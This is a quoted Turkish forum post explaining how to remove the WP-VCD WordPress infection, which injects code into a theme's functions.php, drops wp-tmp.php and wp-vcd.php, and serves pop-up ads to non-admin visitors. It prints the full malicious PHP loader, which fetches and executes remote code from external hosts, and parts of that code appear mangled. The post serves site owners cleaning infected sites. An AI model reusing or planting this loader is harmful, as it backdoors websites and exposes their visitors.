Alıntı
Bugün keşvettiğim bir virüsün nasıl kaldırılacağına dair bilgi vermek istedim. İlallah ettiriyor ama sonunda buldum. İşin kötü tarafı öyle bir sistem yapmışlar ki, direkt olarak wordpress klasörlerine gönderiyor reklamı ve sonradan tema değişseniz de birşey fark etmiyor. Pluginler aracılığıyla mevcut temanızın functions.php kısmına bir kod yazdırıyorlar. Bu kod wp-includes klasörünün içerisine wp-tmp.php ve wp-vcd.php isminde dosyalar gönderiyor. Bu dosyaları tabi ki bilmeden burda bulmak neredeyse imkansız. Kullanıcı ilk olarak pluginlerden diye düşünüyor. Arıyor tarıyor bulamıyor. ( Bende öyle yaptım. ) Sonra tema değiştiriyor. ( Değiştirse bile nafile çünkü artık virüs sistemde. ) İşin kötü tarafı admin girişi yaptığınızda bu virüs reklam göstermiyor. O kadar şeytani düşünmüşler ki, kullanıcılardan yorum gelmese ben bile farkına varamayacaktım.
Bu virüsten kurtulmanın tek yolu temadaki kodları silmek ve ilgili bölümdeki dosyaları silmek.
Temanın functions.php dosyasının üst kısmında şifrelerle başlayan bir bölüm var, bu kısmı güzel bir silin;
<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'XXXXXXXXXXXXXXXXXXXXXX')) { if ( ! function_exists( 'wp_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); if( fwrite($handle, "<?phpn" . $phpCode)) { } else { $tmpfname = tempnam('./', "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?phpn" . $phpCode); } fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } $wp_auth_key='08b370e35d008b6591dd40b0eec23025'; if (($tmpcontent = @file_get_contents("http://www.zanons.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.zanons.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.zanons.me/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents_tcurl("http://www.zanons.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent))0; } elseif ($tmpcontent = @file_get_contents_tcurl("http://www.zanons.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent))1; } elseif (($tmpcontent = @file_get_contents_tcurl("http://www.zanons.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent))2; } } } ?>Ardından /wp-includes/ klasörünüze girin ve wp-tmp.php ve wp-vcd.php isimli iki dosyayı silin. Pop-up reklamından kurtuldunuz.
İnternet ortamında emeğe göz dikenler çok fazla. Lütfen functions.php dosyanızı kontrol edin.